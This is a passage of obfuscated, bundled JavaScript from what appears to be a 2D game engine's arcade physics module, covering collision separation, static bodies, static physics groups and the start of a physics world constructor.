_0x369721 ? _0x57a331(0x1) : _0x2f598d && _0x369721 ? _0x57a331(0x2) : !(!_0xc9b73c || !_0x2496ba) && _0x57a331(0x3); }, 'Set': function (_0x59174e, _0x57cc79, _0x2567e8) { _0x26e514 = _0x57cc79; var _0x250a72 = (_0x56aa66 = _0x59174e)['velocity']['x'], _0x4784e2 = _0x26e514['velocity']['x']; return _0xb44240 = _0x56aa66['pushable'], _0x510cf0 = _0x56aa66['_dx'] < 0x0, _0x2f598d = _0x56aa66['_dx'] > 0x0, _0x515cc8 = 0x0 === _0x56aa66['_dx'], _0x369721 = Math['abs'](_0x56aa66['right'] - _0x26e514['x']) <= Math['abs'](_0x26e514['right'] - _0x56aa66['x']), _0x3b6c7c = _0x4784e2 - _0x250a72 * _0x56aa66['bounce']['x'], _0x44cdf8 = _0x26e514['pushable'], _0x407a74 = _0x26e514['_dx'] < 0x0, _0xc9b73c = _0x26e514['_dx'] > 0x0, _0x1203db = 0x0 === _0x26e514['_dx'], _0x2496ba = !_0x369721, _0x146430 = _0x250a72 - _0x4784e2 * _0x26e514['bounce']['x'], _0x2c4b11 = Math['abs'](_0x2567e8), _0x560d1d(); }, 'Run': _0x57a331, 'RunImmovableBody1': function (_0x17c53a) { if (0x1 === _0x17c53a ? _0x26e514['velocity']['x'] = 0x0 : _0x369721 ? _0x26e514['processX'](_0x2c4b11, _0x146430, !0x0) : _0x26e514['processX'](-_0x2c4b11, _0x146430, !0x1, !0x0), _0x56aa66['moves']) { var _0x2bd74a = _0x56aa66['directControl'] ? _0x56aa66['y'] - _0x56aa66['autoFrame']['y'] : _0x56aa66['y'] - _0x56aa66['prev']['y']; _0x26e514['y'] += _0x2bd74a * _0x56aa66['friction']['y'], _0x26e514['_dy'] = _0x26e514['y'] - _0x26e514['prev']['y']; } }, 'RunImmovableBody2': function (_0x4fd0d8) { if (0x2 === _0x4fd0d8 ? _0x56aa66['velocity']['x'] = 0x0 : _0x2496ba ? _0x56aa66['processX'](_0x2c4b11, _0x3b6c7c, !0x0) : _0x56aa66['processX'](-_0x2c4b11, _0x3b6c7c, !0x1, !0x0), _0x26e514['moves']) { var _0x46ba91 = _0x26e514['directControl'] ? _0x26e514['y'] - _0x26e514['autoFrame']['y'] : _0x26e514['y'] - _0x26e514['prev']['y']; _0x56aa66['y'] += _0x46ba91 * _0x26e514['friction']['y'], _0x56aa66['_dy'] = _0x56aa66['y'] - _0x56aa66['prev']['y']; } } }; }, 0xbb5a: _0x339296 => { var _0x2088c8, _0x550535, _0x41918c, _0x568041, _0x50b979, _0xbdb07a, _0x3f412b, _0x353263, _0x530407, _0xe2d4aa, _0x18792f, _0x30a213, _0x4944a2, _0x291cfd, _0x565bf2, _0x194175, _0x3b2509, _0x4fa2ea = function () { return _0xe2d4aa && _0x565bf2 && _0x550535['blocked']['down'] ? (_0x2088c8['processY'](-_0x3b2509, _0x3f412b, !0x1, !0x0), 0x1) : _0x530407 && _0x194175 && _0x550535['blocked']['up'] ? (_0x2088c8['processY'](_0x3b2509, _0x3f412b, !0x0), 0x1) : _0x4944a2 && _0x194175 && _0x2088c8['blocked']['down'] ? (_0x550535['processY'](-_0x3b2509, _0x353263, !0x1, !0x0), 0x2) : _0x30a213 && _0x565bf2 && _0x2088c8['blocked']['up'] ? (_0x550535['processY'](_0x3b2509, _0x353263, !0x0), 0x2) : 0x0; }, _0x15caab = function (_0xac5fc8) { if (_0x41918c && _0x568041) _0x3b2509 *= 0.5, 0x0 === _0xac5fc8 || 0x3 === _0xac5fc8 ? (_0x2088c8['processY'](_0x3b2509, _0x50b979), _0x550535['processY'](-_0x3b2509, _0xbdb07a)) : (_0x2088c8['processY'](-_0x3b2509, _0x50b979), _0x550535['processY'](_0x3b2509, _0xbdb07a)); else { if (_0x41918c && !_0x568041) 0x0 === _0xac5fc8 || 0x3 === _0xac5fc8 ? _0x2088c8['processY'](_0x3b2509, _0x3f412b, !0x0) : _0x2088c8['processY'](-_0x3b2509, _0x3f412b, !0x1, !0x0); else { if (!_0x41918c && _0x568041) 0x0 === _0xac5fc8 || 0x3 === _0xac5fc8 ? _0x550535['processY'](-_0x3b2509, _0x353263, !0x1, !0x0) : _0x550535['processY'](_0x3b2509, _0x353263, !0x0); else { var _0x21d9f2 = 0.5 * _0x3b2509; 0x0 === _0xac5fc8 ? _0x291cfd ? (_0x2088c8['processY'](_0x3b2509, 0x0, !0x0), _0x550535['processY'](0x0, null, !0x1, !0x0)) : _0x4944a2 ? (_0x2088c8['processY'](_0x21d9f2, 0x0, !0x0), _0x550535['processY'](-_0x21d9f2, 0x0, !0x1, !0x0)) : (_0x2088c8['processY'](_0x21d9f2, _0x550535['velocity']['y'], !0x0), _0x550535['processY'](-_0x21d9f2, null, !0x1, !0x0)) : 0x1 === _0xac5fc8 ? _0x18792f ? (_0x2088c8['processY'](0x0, null, !0x1, !0x0), _0x550535['processY'](_0x3b2509, 0x0, !0x0)) : _0xe2d4aa ? (_0x2088c8['processY'](-_0x21d9f2, 0x0, !0x1, !0x0), _0x550535['processY'](_0x21d9f2, 0x0, !0x0)) : (_0x2088c8['processY'](-_0x21d9f2, null, !0x1, !0x0), _0x550535['processY'](_0x21d9f2, _0x2088c8['velocity']['y'], !0x0)) : 0x2 === _0xac5fc8 ? _0x291cfd ? (_0x2088c8['processY'](-_0x3b2509, 0x0, !0x1, !0x0), _0x550535['processY'](0x0, null, !0x0)) : _0x30a213 ? (_0x2088c8['processY'](-_0x21d9f2, 0x0, !0x1, !0x0), _0x550535['processY'](_0x21d9f2, 0x0, !0x0)) : (_0x2088c8['processY'](-_0x21d9f2, _0x550535['velocity']['y'], !0x1, !0x0), _0x550535['processY'](_0x21d9f2, null, !0x0)) : 0x3 === _0xac5fc8 && (_0x18792f ? (_0x2088c8['processY'](0x0, null, !0x0), _0x550535['processY'](-_0x3b2509, 0x0, !0x1, !0x0)) : _0x530407 ? (_0x2088c8['processY'](_0x21d9f2, 0x0, !0x0), _0x550535['processY'](-_0x21d9f2, 0x0, !0x1, !0x0)) : (_0x2088c8['processY'](_0x21d9f2, _0x550535['velocity']['y'], !0x0), _0x550535['processY'](-_0x21d9f2, null, !0x1, !0x0))); } } } return !0x0; }; _0x339296['exports'] = { 'BlockCheck': _0x4fa2ea, 'Check': function () { var _0x3315b1 = _0x2088c8['velocity']['y'], _0x40fae = _0x550535['velocity']['y'], _0x3ff82f = Math['sqrt'](_0x40fae * _0x40fae * _0x550535['mass'] / _0x2088c8['mass']) * (_0x40fae > 0x0 ? 0x1 : -0x1), _0x2199dc = Math['sqrt'](_0x3315b1 * _0x3315b1 * _0x2088c8['mass'] / _0x550535['mass']) * (_0x3315b1 > 0x0 ? 0x1 : -0x1), _0x11454e = 0.5 * (_0x3ff82f + _0x2199dc); return _0x2199dc -= _0x11454e, _0x50b979 = _0x11454e + (_0x3ff82f -= _0x11454e) * _0x2088c8['bounce']['y'], _0xbdb07a = _0x11454e + _0x2199dc * _0x550535['bounce']['y'], _0x530407 && _0x194175 ? _0x15caab(0x0) : _0x30a213 && _0x565bf2 ? _0x15caab(0x1) : _0xe2d4aa && _0x565bf2 ? _0x15caab(0x2) : !(!_0x4944a2 || !_0x194175) && _0x15caab(0x3); }, 'Set': function (_0xfa42c, _0x244892, _0x1d2572) { _0x550535 = _0x244892; var _0x4cbbb1 = (_0x2088c8 = _0xfa42c)['velocity']['y'], _0x26df8b = _0x550535['velocity']['y']; return _0x41918c = _0x2088c8['pushable'], _0x530407 = _0x2088c8['_dy'] < 0x0, _0xe2d4aa = _0x2088c8['_dy'] > 0x0, _0x18792f = 0x0 === _0x2088c8['_dy'], _0x565bf2 = Math['abs'](_0x2088c8['bottom'] - _0x550535['y']) <= Math['abs'](_0x550535['bottom'] - _0x2088c8['y']), _0x3f412b = _0x26df8b - _0x4cbbb1 * _0x2088c8['bounce']['y'], _0x568041 = _0x550535['pushable'], _0x30a213 = _0x550535['_dy'] < 0x0, _0x4944a2 = _0x550535['_dy'] > 0x0, _0x291cfd = 0x0 === _0x550535['_dy'], _0x194175 = !_0x565bf2, _0x353263 = _0x4cbbb1 - _0x26df8b * _0x550535['bounce']['y'], _0x3b2509 = Math['abs'](_0x1d2572), _0x4fa2ea(); }, 'Run': _0x15caab, 'RunImmovableBody1': function (_0x23d056) { if (0x1 === _0x23d056 ? _0x550535['velocity']['y'] = 0x0 : _0x565bf2 ? _0x550535['processY'](_0x3b2509, _0x353263, !0x0) : _0x550535['processY'](-_0x3b2509, _0x353263, !0x1, !0x0), _0x2088c8['moves']) { var _0x57e075 = _0x2088c8['directControl'] ? _0x2088c8['x'] - _0x2088c8['autoFrame']['x'] : _0x2088c8['x'] - _0x2088c8['prev']['x']; _0x550535['x'] += _0x57e075 * _0x2088c8['friction']['x'], _0x550535['_dx'] = _0x550535['x'] - _0x550535['prev']['x']; } }, 'RunImmovableBody2': function (_0x2e8b87) { if (0x2 === _0x2e8b87 ? _0x2088c8['velocity']['y'] = 0x0 : _0x194175 ? _0x2088c8['processY'](_0x3b2509, _0x3f412b, !0x0) : _0x2088c8['processY'](-_0x3b2509, _0x3f412b, !0x1, !0x0), _0x550535['moves']) { var _0x5cf437 = _0x550535['directControl'] ? _0x550535['x'] - _0x550535['autoFrame']['x'] : _0x550535['x'] - _0x550535['prev']['x']; _0x2088c8['x'] += _0x5cf437 * _0x550535['friction']['x'], _0x2088c8['_dx'] = _0x2088c8['x'] - _0x2088c8['prev']['x']; } } }; }, 0x3707: (_0x36f888, _0x370009, _0x426294) => { var _0x449e1c = _0x426294(0xfd81), _0x368712 = _0x426294(0xbc9); _0x36f888['exports'] = function (_0x83a111, _0x58b035, _0x56442e, _0x13037f, _0x5c0ddd) { void 0x0 === _0x5c0ddd && (_0x5c0ddd = _0x449e1c(_0x83a111, _0x58b035, _0x56442e, _0x13037f)); var _0x5caddf = _0x83a111['immovable'], _0x25cb74 = _0x58b035['immovable']; if (_0x56442e || 0x0 === _0x5c0ddd || _0x5caddf && _0x25cb74 || _0x83a111['customSeparateX'] || _0x58b035['customSeparateX']) return 0x0 !== _0x5c0ddd || _0x83a111['embedded'] && _0x58b035['embedded']; var _0x300a8d = _0x368712['Set'](_0x83a111, _0x58b035, _0x5c0ddd); return _0x5caddf || _0x25cb74 ? (_0x5caddf ? _0x368712['RunImmovableBody1'](_0x300a8d) : _0x25cb74 && _0x368712['RunImmovableBody2'](_0x300a8d), !0x0) : _0x300a8d > 0x0 || _0x368712['Check'](); }; }, 0x15f50: (_0x2da03f, _0x22ebdc, _0x2f2c20) => { var _0x3c7179 = _0x2f2c20(0xb072), _0x423334 = _0x2f2c20(0xbb5a); _0x2da03f['exports'] = function (_0x7bce64, _0x451c7e, _0x22e24c, _0x123838, _0x13311b) { void 0x0 === _0x13311b && (_0x13311b = _0x3c7179(_0x7bce64, _0x451c7e, _0x22e24c, _0x123838)); var _0x3ba7b2 = _0x7bce64['immovable'], _0x325e61 = _0x451c7e['immovable']; if (_0x22e24c || 0x0 === _0x13311b || _0x3ba7b2 && _0x325e61 || _0x7bce64['customSeparateY'] || _0x451c7e['customSeparateY']) return 0x0 !== _0x13311b || _0x7bce64['embedded'] && _0x451c7e['embedded']; var _0x4aa269 = _0x423334['Set'](_0x7bce64, _0x451c7e, _0x13311b); return _0x3ba7b2 || _0x325e61 ? (_0x3ba7b2 ? _0x423334['RunImmovableBody1'](_0x4aa269) : _0x325e61 && _0x423334['RunImmovableBody2'](_0x4aa269), !0x0) : _0x4aa269 > 0x0 || _0x423334['Check'](); }; }, 0x17655: _0x21aefb => { _0x21aefb['exports'] = function (_0x1ead0b, _0x543cb0) { return void 0x0 === _0x543cb0 && (_0x543cb0 = {}), _0x543cb0['none'] = _0x1ead0b, _0x543cb0['up'] = !0x1, _0x543cb0['down'] = !0x1, _0x543cb0['left'] = !0x1, _0x543cb0['right'] = !0x1, _0x1ead0b || (_0x543cb0['up'] = !0x0, _0x543cb0['down'] = !0x0, _0x543cb0['left'] = !0x0, _0x543cb0['right'] = !0x0), _0x543cb0; }; }, 0x11bb0: (_0x223ac9, _0x3f54a3, _0x51a237) => { var _0x4ac7a0 = _0x51a237(0x1575e), _0x26da0f = _0x51a237(0x145db), _0x4c2a4d = _0x51a237(0x13235), _0x3d281d = _0x51a237(0x9373), _0x3f7b8c = _0x51a237(0x91b7), _0xf12b97 = _0x51a237(0x17655), _0x1dfd24 = _0x51a237(0x65f3), _0x5d7b63 = new _0x26da0f({ 'Mixins': [_0x4c2a4d], 'initialize': function (_0x189897, _0x1df9d1) { var _0x565a0e = 0x40, _0x5a4cc3 = 0x40, _0x11b730 = void 0x0 !== _0x1df9d1; _0x11b730 && _0x1df9d1['displayWidth'] && (_0x565a0e = _0x1df9d1['displayWidth'], _0x5a4cc3 = _0x1df9d1['displayHeight']), _0x11b730 || (_0x1df9d1 = { 'x': 0x0, 'y': 0x0, 'angle': 0x0, 'rotation': 0x0, 'scaleX': 0x1, 'scaleY': 0x1, 'displayOriginX': 0x0, 'displayOriginY': 0x0 }), this['world'] = _0x189897, this['gameObject'] = _0x11b730 ? _0x1df9d1 : void 0x0, this['isBody'] = !0x0, this['debugShowBody'] = _0x189897['defaults']['debugShowStaticBody'], this['debugBodyColor'] = _0x189897['defaults']['staticBodyDebugColor'], this['enable'] = !0x0, this['isCircle'] = !0x1, this['radius'] = 0x0, this['offset'] = new _0x1dfd24(), this['position'] = new _0x1dfd24(_0x1df9d1['x'] - _0x565a0e * _0x1df9d1['originX'], _0x1df9d1['y'] - _0x5a4cc3 * _0x1df9d1['originY']), this['width'] = _0x565a0e, this['height'] = _0x5a4cc3, this['halfWidth'] = Math['abs'](this['width'] / 0x2), this['halfHeight'] = Math['abs'](this['height'] / 0x2), this['center'] = new _0x1dfd24(this['position']['x'] + this['halfWidth'], this['position']['y'] + this['halfHeight']), this['velocity'] = _0x1dfd24['ZERO'], this['allowGravity'] = !0x1, this['gravity'] = _0x1dfd24['ZERO'], this['bounce'] = _0x1dfd24['ZERO'], this['onWorldBounds'] = !0x1, this['onCollide'] = !0x1, this['onOverlap'] = !0x1, this['mass'] = 0x1, this['immovable'] = !0x0, this['pushable'] = !0x1, this['customSeparateX'] = !0x1, this['customSeparateY'] = !0x1, this['overlapX'] = 0x0, this['overlapY'] = 0x0, this['overlapR'] = 0x0, this['embedded'] = !0x1, this['collideWorldBounds'] = !0x1, this['checkCollision'] = _0xf12b97(!0x1), this['touching'] = _0xf12b97(!0x0), this['wasTouching'] = _0xf12b97(!0x0), this['blocked'] = _0xf12b97(!0x0), this['physicsType'] = _0x3d281d['STATIC_BODY'], this['collisionCategory'] = 0x1, this['collisionMask'] = 0x1, this['_dx'] = 0x0, this['_dy'] = 0x0; }, 'setGameObject': function (_0x409a5b, _0x350290) { return _0x409a5b && _0x409a5b !== this['gameObject'] && (this['gameObject']['body'] = null, _0x409a5b['body'] = this, this['gameObject'] = _0x409a5b), _0x350290 && this['updateFromGameObject'](), this; }, 'updateFromGameObject': function () { this['world']['staticTree']['remove'](this); var _0x3e1469 = this['gameObject']; return _0x3e1469['getTopLeft'](this['position']), this['width'] = _0x3e1469['displayWidth'], this['height'] = _0x3e1469['displayHeight'], this['halfWidth'] = Math['abs'](this['width'] / 0x2), this['halfHeight'] = Math['abs'](this['height'] / 0x2), this['center']['set'](this['position']['x'] + this['halfWidth'], this['position']['y'] + this['halfHeight']), this['world']['staticTree']['insert'](this), this; }, 'setOffset': function (_0x27fc6d, _0x24257c) { return void 0x0 === _0x24257c && (_0x24257c = _0x27fc6d), this['world']['staticTree']['remove'](this), this['position']['x'] -= this['offset']['x'], this['position']['y'] -= this['offset']['y'], this['offset']['set'](_0x27fc6d, _0x24257c), this['position']['x'] += this['offset']['x'], this['position']['y'] += this['offset']['y'], this['updateCenter'](), this['world']['staticTree']['insert'](this), this; }, 'setSize': function (_0x555de4, _0x343fc5, _0x30e5de) { void 0x0 === _0x30e5de && (_0x30e5de = !0x0); var _0x2abec3 = this['gameObject']; if (_0x2abec3 && _0x2abec3['frame'] && (_0x555de4 || (_0x555de4 = _0x2abec3['frame']['realWidth']), _0x343fc5 || (_0x343fc5 = _0x2abec3['frame']['realHeight'])), this['world']['staticTree']['remove'](this), this['width'] = _0x555de4, this['height'] = _0x343fc5, this['halfWidth'] = Math['floor'](_0x555de4 / 0x2), this['halfHeight'] = Math['floor'](_0x343fc5 / 0x2), _0x30e5de && _0x2abec3 && _0x2abec3['getCenter']) { var _0x20897e = _0x2abec3['displayWidth'] / 0x2, _0x2a20a2 = _0x2abec3['displayHeight'] / 0x2; this['position']['x'] -= this['offset']['x'], this['position']['y'] -= this['offset']['y'], this['offset']['set'](_0x20897e - this['halfWidth'], _0x2a20a2 - this['halfHeight']), this['position']['x'] += this['offset']['x'], this['position']['y'] += this['offset']['y']; } return this['updateCenter'](), this['isCircle'] = !0x1, this['radius'] = 0x0, this['world']['staticTree']['insert'](this), this; }, 'setCircle': function (_0x294430, _0x52c8a5, _0x352134) { return void 0x0 === _0x52c8a5 && (_0x52c8a5 = this['offset']['x']), void 0x0 === _0x352134 && (_0x352134 = this['offset']['y']), _0x294430 > 0x0 ? (this['world']['staticTree']['remove'](this), this['isCircle'] = !0x0, this['radius'] = _0x294430, this['width'] = 0x2 * _0x294430, this['height'] = 0x2 * _0x294430, this['halfWidth'] = Math['floor'](this['width'] / 0x2), this['halfHeight'] = Math['floor'](this['height'] / 0x2), this['offset']['set'](_0x52c8a5, _0x352134), this['updateCenter'](), this['world']['staticTree']['insert'](this)) : this['isCircle'] = !0x1, this; }, 'updateCenter': function () { this['center']['set'](this['position']['x'] + this['halfWidth'], this['position']['y'] + this['halfHeight']); }, 'reset': function (_0x2f2148, _0x3cf332) { var _0x5906cd = this['gameObject']; void 0x0 === _0x2f2148 && (_0x2f2148 = _0x5906cd['x']), void 0x0 === _0x3cf332 && (_0x3cf332 = _0x5906cd['y']), this['world']['staticTree']['remove'](this), _0x5906cd['setPosition'](_0x2f2148, _0x3cf332), _0x5906cd['getTopLeft'](this['position']), this['position']['x'] += this['offset']['x'], this['position']['y'] += this['offset']['y'], this['updateCenter'](), this['world']['staticTree']['insert'](this); }, 'stop': function () { return this; }, 'getBounds': function (_0x26051a) { return _0x26051a['x'] = this['x'], _0x26051a['y'] = this['y'], _0x26051a['right'] = this['right'], _0x26051a['bottom'] = this['bottom'], _0x26051a; }, 'hitTest': function (_0x14a6c7, _0x46495e) { return this['isCircle'] ? _0x4ac7a0(this, _0x14a6c7, _0x46495e) : _0x3f7b8c(this, _0x14a6c7, _0x46495e); }, 'postUpdate': function () { }, 'deltaAbsX': function () { return 0x0; }, 'deltaAbsY': function () { return 0x0; }, 'deltaX': function () { return 0x0; }, 'deltaY': function () { return 0x0; }, 'deltaZ': function () { return 0x0; }, 'destroy': function () { this['enable'] = !0x1, this['world']['pendingDestroy']['set'](this); }, 'drawDebug': function (_0x2423d1) { var _0x58ba8e = this['position'], _0x1046d3 = _0x58ba8e['x'] + this['halfWidth'], _0x3d15c7 = _0x58ba8e['y'] + this['halfHeight']; this['debugShowBody'] && (_0x2423d1['lineStyle'](_0x2423d1['defaultStrokeWidth'], this['debugBodyColor'], 0x1), this['isCircle'] ? _0x2423d1['strokeCircle'](_0x1046d3, _0x3d15c7, this['width'] / 0x2) : _0x2423d1['strokeRect'](_0x58ba8e['x'], _0x58ba8e['y'], this['width'], this['height'])); }, 'willDrawDebug': function () { return this['debugShowBody']; }, 'setMass': function (_0x7a40be) { return _0x7a40be <= 0x0 && (_0x7a40be = 0.1), this['mass'] = _0x7a40be, this; }, 'x': { 'get': function () { return this['position']['x']; }, 'set': function (_0x2858cb) { this['world']['staticTree']['remove'](this), this['position']['x'] = _0x2858cb, this['world']['staticTree']['insert'](this); } }, 'y': { 'get': function () { return this['position']['y']; }, 'set': function (_0x24c335) { this['world']['staticTree']['remove'](this), this['position']['y'] = _0x24c335, this['world']['staticTree']['insert'](this); } }, 'left': { 'get': function () { return this['position']['x']; } }, 'right': { 'get': function () { return this['position']['x'] + this['width']; } }, 'top': { 'get': function () { return this['position']['y']; } }, 'bottom': { 'get': function () { return this['position']['y'] + this['height']; } } }); _0x223ac9['exports'] = _0x5d7b63; }, 0x11728: (_0x24cd69, _0x22fbc3, _0x233f71) => { var _0x5b7ac9 = _0x233f71(0x35bf), _0x4f9619 = _0x233f71(0x145db), _0x59726d = _0x233f71(0x13235), _0x33cf91 = _0x233f71(0x9373), _0x88692a = _0x233f71(0x17534), _0x54348c = _0x233f71(0x676f), _0x54be1e = _0x233f71(0xa0fc), _0x1c40b1 = new _0x4f9619({ 'Extends': _0x54348c, 'Mixins': [_0x59726d], 'initialize': function (_0x59e5d7, _0x3102e7, _0x1fa3b, _0x282daa) { _0x1fa3b || _0x282daa ? _0x54be1e(_0x1fa3b) ? (_0x282daa = _0x1fa3b, _0x1fa3b = null, _0x282daa['internalCreateCallback'] = this['createCallbackHandler'], _0x282daa['internalRemoveCallback'] = this['removeCallbackHandler'], _0x282daa['createMultipleCallback'] = this['createMultipleCallbackHandler'], _0x282daa['classType'] = _0x88692a(_0x282daa, 'classType', _0x5b7ac9)) : Array['isArray'](_0x1fa3b) && _0x54be1e(_0x1fa3b[0x0]) ? (_0x282daa = _0x1fa3b, _0x1fa3b = null, _0x282daa['forEach'](function (_0x2000c8) { _0x2000c8['internalCreateCallback'] = this['createCallbackHandler'], _0x2000c8['internalRemoveCallback'] = this['removeCallbackHandler'], _0x2000c8['createMultipleCallback'] = this['createMultipleCallbackHandler'], _0x2000c8['classType'] = _0x88692a(_0x2000c8, 'classType', _0x5b7ac9); })) : _0x282daa = { 'internalCreateCallback': this['createCallbackHandler'], 'internalRemoveCallback': this['removeCallbackHandler'] } : _0x282daa = { 'internalCreateCallback': this['createCallbackHandler'], 'internalRemoveCallback': this['removeCallbackHandler'], 'createMultipleCallback': this['createMultipleCallbackHandler'], 'classType': _0x5b7ac9 }, this['world'] = _0x59e5d7, this['physicsType'] = _0x33cf91['STATIC_BODY'], this['collisionCategory'] = 0x1, this['collisionMask'] = 0x1, _0x54348c['call'](this, _0x3102e7, _0x1fa3b, _0x282daa), this['type'] = 'StaticPhysicsGroup'; }, 'createCallbackHandler': function (_0x48110e) { _0x48110e['body'] || this['world']['enableBody'](_0x48110e, _0x33cf91['STATIC_BODY']); }, 'removeCallbackHandler': function (_0x24301c) { _0x24301c['body'] && this['world']['disableBody'](_0x24301c); }, 'createMultipleCallbackHandler': function () { this['refresh'](); }, 'refresh': function () { for (var _0x3dc3b9 = this['children']['entries'], _0x306f68 = 0x0; _0x306f68 < _0x3dc3b9['length']; _0x306f68++)_0x3dc3b9[_0x306f68]['body']['reset'](); return this; } }); _0x24cd69['exports'] = _0x1c40b1; }, 0x14148: (_0x53fcae, _0x4b95e9, _0x1b9f0c) => { var _0x14b006 = _0x1b9f0c(0xd8c7), _0x589a13 = _0x1b9f0c(0x936e), _0x3aadb0 = _0x1b9f0c(0xb107), _0x5bc10e = _0x1b9f0c(0x145db), _0x2e9371 = _0x1b9f0c(0x135ee), _0x5a0405 = _0x1b9f0c(0x9373), _0x1ec331 = _0x1b9f0c(0x4f73), _0x4dbafe = _0x1b9f0c(0xce50), _0x1b371e = _0x1b9f0c(0xc668), _0x1e131f = _0x1b9f0c(0xf624), _0x450ccf = _0x1b9f0c(0xab4f), _0x2d0660 = _0x1b9f0c(0x155e), _0x2bdaab = _0x1b9f0c(0x17301), _0x14fce0 = _0x1b9f0c(0xfd81), _0x229fc7 = _0x1b9f0c(0xb072), _0x57d2f9 = _0x1b9f0c(0x1790b), _0x4cabc1 = _0x1b9f0c(0x8952), _0x402548 = _0x1b9f0c(0x8e1f), _0x34db60 = _0x1b9f0c(0x64ae), _0x41fb4e = _0x1b9f0c(0x1795a), _0x3d5311 = _0x1b9f0c(0x15721), _0x2becba = _0x1b9f0c(0xe896), _0x50d544 = _0x1b9f0c(0x9c4c), _0x22fbc6 = _0x1b9f0c(0x3707), _0x40f462 = _0x1b9f0c(0x15f50), _0x529de7 = _0x1b9f0c(0x8900), _0x3cabac = _0x1b9f0c(0x11bb0), _0xf46eaa = _0x1b9f0c(0x9b3), _0x1f62a3 = _0x1b9f0c(0xef9c), _0x4fbcd1 = _0x1b9f0c(0x65f3), _0x42dac2 = _0x1b9f0c(0x3e7a), _0x103a2d = new _0x5bc10e({ 'Extends': _0x1b371e, 'initialize': function (_0x5a4c01, _0x1cf48b) { _0x1b371e['call'](this), this['scene'] = _0x5a4c01, this['bodies'] = new _0x529de7(), this['staticBodies'] = new _0x529de7(), this['pendingDestroy'] = new _0x529de7(), this['colliders'] = new _0x34db60(), this['gravity'] = new _0x4fbcd1(_0x4cabc1(_0x1cf48b, 'gravity.x', 0x0), _0x4cabc1(_0x1cf48b, 'gravity.y', 0x0)), this['bounds'] = new _0x3d5311(_0x4cabc1(_0x1cf48b, 'x', 0x0), _0x4cabc1(_0x1cf48b, 'y', 0x0), _0x4cabc1(_0x1cf48b, 'width', _0x5a4c01['sys']['scale']['width']), _0x4cabc1(_0x1cf48b, 'height', _0x5a4c01['sys']['scale']['height'])), this['checkCollision'] = { 'up': _0x4cabc1(_0x1cf48b, 'checkCollision.up', !0x0), 'down': _0x4cabc1(_0x1cf48b, 'checkCollision.down', !0x0), 'left': _0x4cabc1(_0x1cf48b, 'checkCollision.left', !0x0), 'right': _0x4cabc1(_0x1cf48b, 'checkCollision.right', !0x0) }, this['fps'] = _0x4cabc1(_0x1cf48b, 'fps', 0x3c), this['fixedStep'] = _0x4cabc1(_0x1cf48b, 'fixedStep', !0x0), this['_elapsed'] = 0x0, this['_frameTime'] = 0x1 / this['fps'], this['_frameTimeMS'] = 0x3e8 * this['_frameTime'], this['stepsLastFrame'] = 0x0, this['timeScale'] = _0x4cabc1(_0x1cf48b, 'timeScale', 0x1), this['OVERLAP_BIAS'] = _0x4cabc1(_0x1cf48b, 'overlapBias', 0x4), this['TILE_BIAS'] = _0x4cabc1(_0x1cf48b, 'tileBias', 0x10), this['forceX'] = _0x4cabc1(_0x1cf48b, 'forceX', !0x1), this['isPaused'] = _0x4cabc1(_0x1cf48b, 'isPaused', !0x1), this['_total'] = 0x0, this['drawDebug'] = _0x4cabc1(_0x1cf48b, 'debug', !0x1), this['debugGraphic'], this['defaults'] = { 'debugShowBody': _0x4cabc1(_0x1cf48b, 'debugShowBody', !0x0), 'debugShowStaticBody': _0x4cabc1(_0x1cf48b, 'debugShowStaticBody', !0x0), 'debugShowVelocity': _0x4cabc1(_0x1cf48b, 'debugShowVelocity', !0x0), 'bodyDebugColor': _0x4cabc1(_0x1cf48b, 'debugBodyColor', 0xff00ff), 'staticBodyDebugColor': _0x4cabc1(_0x1cf48b, 'debugStaticBodyColor', 0xff), 'velocityDebugColor': _0x4cabc1(_0x1cf48b, 'debugVelocityColor', 0xff00) }, this['maxEntries'] = _0x4cabc1(_0x1cf48b, 'maxEntries', 0x10), this['useTree'] = _0x4cabc1(_0x1cf48b, 'useTree', !0x0), this['tree'] = new _0x2becba(this['maxEntries']), this['staticTree'] = new _0x2becba(this['maxEntries']), this['treeMinMax'] = { 'minX': 0x0, 'minY': 0x0, 'maxX': 0x0, 'maxY': 0x0 }, this['_tempMatrix'] = new _0x1f62a3(), this['_tempMatrix2'] = new _0x1f62a3(), this['tileFilterOptions'] = { 'isColliding': !0x0, 'isNotEmpty': !0x0, 'hasInterestingFace': !0x0 }, this['drawDebug'] && this['createDebugGraphic'](); }, 'enable': function (_0x55f057, _0x270122) { void 0x0 === _0x270122 && (_0x270122 = _0x5a0405['DYNAMIC_BODY']), Array['isArray'](_0x55f057) || (_0x55f057 = [_0x55f057]); for (var _0x5bb4d8 = 0x0; _0x5bb4d8 < _0x55f057['length']; _0x5bb4d8++) { var _0x2776c2 = _0x55f057[_0x5bb4d8]; if (_0x2776c2['isParent']) for (var _0xc68629 = _0x2776c2['getChildren'](), _0x12ed2d = 0x0; _0x12ed2d < _0xc68629['length']; _0x12ed2d++) { var _0x249ec3 = _0xc68629[_0x12ed2d]; _0x249ec3['isParent'] ? this['enable'](_0x249ec3, _0x270122) : this['enableBody'](_0x249ec3, _0x270122); } else this['enableBody'](_0x2776c2, _0x270122); } }, 'enableBody': function (_0xfe827f, _0x577831) { return void 0x0 === _0x577831 && (_0x577831 = _0x5a0405['DYNAMIC_BODY']), _0xfe827f['hasTransformComponent'] && (_0xfe827f['body'] || (_0x577831 === _0x5a0405['DYNAMIC_BODY'] ? _0xfe827f['body'] = new _0x589a13(this, _0xfe827f) : _0x577831 === _0x5a0405['STATIC_BODY'] && (_0xfe827f['body'] = new _0x3cabac(this, _0xfe827f))), this['add'](_0xfe827f['body'])), _0xfe827f; }, 'add': function (_0x3eaa0d) { return _0x3eaa0d['physicsType'] === _0x5a0405['DYNAMIC_BODY'] ? this['bodies']['set'](_0x3eaa0d) : _0x3eaa0d['physicsType'] === _0x5a0405['STATIC_BODY'] && (this['staticBodies']['set'](_0x3eaa0d), this['staticTree']['insert'](_0x3eaa0d)), _0x3eaa0d['enable'] = !0x0, _0x3eaa0d; }, 'disable': function (_0x26d3b1) { Array['isArray'](_0x26d3b1) || (_0x26d3b1 = [_0x26d3b1]); for (var _0x4d780c = 0x0; _0x4d780c < _0x26d3b1['length']; _0x4d780c++) { var _0x42a217 = _0x26d3b1[_0x4d780c]; if (_0x42a217['isParent']) for (var _0x5f2ae8 = _0x42a217['getChildren'](), _0x6ed3b0 = 0x0; _0x6ed3b0 < _0x5f2ae8['length']; _0x6ed3b0++) { var _0x489688 = _0x5f2ae8[_0x6ed3b0]; _0x489688['isParent'] ? this['disable'](_0x489688) : this['disableBody'](_0x489688['body']); } else this['disableBody'](_0x42a217['body']); } }, 